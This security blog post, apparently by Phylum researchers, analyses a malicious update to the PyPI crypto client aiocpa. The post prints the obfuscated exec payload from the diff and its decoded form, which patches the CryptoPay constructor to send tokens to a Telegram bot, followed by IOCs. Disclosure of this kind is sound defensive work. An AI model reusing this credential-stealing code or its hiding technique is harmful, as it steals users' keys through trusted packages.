Python Crypto Library Updated to Steal Private Keys

Python Crypto Library Updated to Steal Private Keys

Yesterday, Phylum's automated risk detection platform discovered that the PyPI package aiocpa was updated to include malicious code that steals private keys by exfiltrating them through Telegram when users initialize the crypto library. While the attacker published this malicious update to PyPI, they deliberately kept the package's GitHub repository clean of the malicious code to evade detection.

The Attack

According to its README:

aiocpa is a syncronous & asynchronous Crypto Pay API client.
Screenshot of the PyPI landing page for aiocpa

And to its credit, this does appear to be true…or at least it was true until version 0.1.13 was released. This package was first published in August of 2024 and has received seemingly appropriate updates, as one would expect, since then. However, yesterday (20 November 2024), the author published an update with the following diff to the file cryptopay/utils/sync.py:

--- 

+++ 

@@ -39,10 +39,11 @@

         if not name.startswith("_") and inspect.iscoroutinefunction(
             getattr(obj, name),
         ):
             async_to_sync(obj, name)
 
+_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==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'))
 
 if sys.platform == "win32":
     asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
 
 for base in (*CryptoPay.__bases__, *CryptoPayObject.__subclasses__()):

The diff from v0.1.12 -> v0.1.13 of utils/sync.py

A highly obfuscated blob is inserted at the top level of the utils.sync module in a crypto library? You only need one guess where this is going. Before we deobfuscate to see precisely what it’s doing, let’s first take a look at how and when this blob is executed. Since this is at the top level of this module, we only need to find where it’s imported. It turns out the package's top-level __init__.py does exactly that:

from cryptopay.client import MAINNET, TESTNET
from cryptopay.utils.sync import CryptoPay

from .__meta__ import __api_version__, __version__

__all__ = (
    "MAINNET",
    "TESTNET",
    "CryptoPay",
    "__api_version__",
    "__version__",
)

The top-level __init__.py

That blob is executed as soon as you install this package and then run from crypto pay import CryptoPay. Okay, let’s now figure out exactly what it does.

This particular blob is recursively encoded and compressed 50 times! Undoing that is trivial and after doing so gives us the following:

from cryptopay.client import CryptoPay
import urllib
init = CryptoPay.__init__
def __init__(*args, **kwargs):
    init(*args, **kwargs)
    try:
        urllib.request.urlopen(f"https://api.telegram.org/bot7858967142:AAGeM6QvKdEUK9ZWD9XoVM_Zl1cmj_mlyJo/sendMessage?chat_id=6526761736&text={args[1:]}")
    except: pass
CryptoPay.__init__ = __init__

The deobfuscated malicious payload.

Interesting! The attacker overwrites the __init__ method of the CryptoPay class. Actually, it’s acting more like a wrapper around the originality functionality of the method. They’re saving the original method via init = CryptoPay.__init__ and then calling it as per usual with init(*args, **kwargs) and then sending a Telegram message to, presumably, the attacker’s Telegram bot call with args[1:] as the message. Take a look at the original constructor:

def __init__(
    self,
    token: str,
    api_server: "APIServer" = MAINNET,
    session: "type[BaseSession]" = AiohttpSession,
    manager: "WebhookManager[_APP] | None" = None,
    polling_config: "PollingConfig | None" = None,
) -> None:

We can see that args[1:] will send all arguments after the self argument—the most important, of course, being the token. The additional arguments are also exfiltrated, potentially giving the attacker more context.

Just to recap, we’re seeing a crypto library that dynamically alters the class’s constructor upon module import to exfiltrate the victim’s private keys when calling the class’s constructor!

Another interesting aspect we discovered in our investigation is that its PyPI homepage points to a GitHub repo.

However, if you look at the same file in the GitHub repo, you’ll notice that the obfuscated payload is missing! This means the attacker updated a local copy of the repo with the malicious payload and then published that package to PyPI, leaving the GitHub repo with the same version numbers malware-free — a clear attempt at evasion.

utils/sync.py from the GitHub repo. T malicious payload is not rpesent.

This library's popularity - with 17 GitHub stars and (according to pypistats.org before the package was removed) nearly 4K downloads in the last month–makes this incident particularly concerning. The attack highlights two critical security lessons: First, it demonstrates the importance of scanning the actual code sent to open source ecosystems, that is the code that actually runs when you pip install or node -i a package, rather than just reviewing source repositories alone. As evidenced here, attackers can deliberately maintain clean source repos while distributing malicious packages to the ecosystems. Second, it serves as a reminder that a package's previous safety record doesn't guarantee its continued security.

While the identity of who published the malicious versions is unknown—whether it was, in fact, the original developer or someone who compromised their credentials—what's clear is that this package was deliberately weaponized to steal private keys. This incident again underscores the need for constant vigilance and proper security measures when dealing with open source dependencies.

IOCs

  • Telegram Bot Token: 7858967142:AAGeM6QvKdEUK9ZWD9XoVM_Zl1cmj_mlyJo
  • Telegram Chat ID: 6526761736
  • Package SHA256 Hashes:
    • aiocpa_0.1.13.tar.gz: ad9f5183aa8d792ed1bc991ab3ac9b0cd4160fd9276071a7e63e7d7b4e3481b8
    • aiocpa-0.1.13-py3-none-any.whl: 6f435a3f209c09d8f7cf180f759a5faa2ff215edc1afce2cd62078574bb70c69
    • aiocpa_0.1.14.tar.gz: 556bfea997880f1365d3822d26ea57e2cfaecb231128ea1e7e50ad1f778147bb
    • aiocpa-0.1.14-py3-none-any.whl: c43148103e24a16d59896d6db395ed66a2cd5772ff308dfea10aa36b7f433589
Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.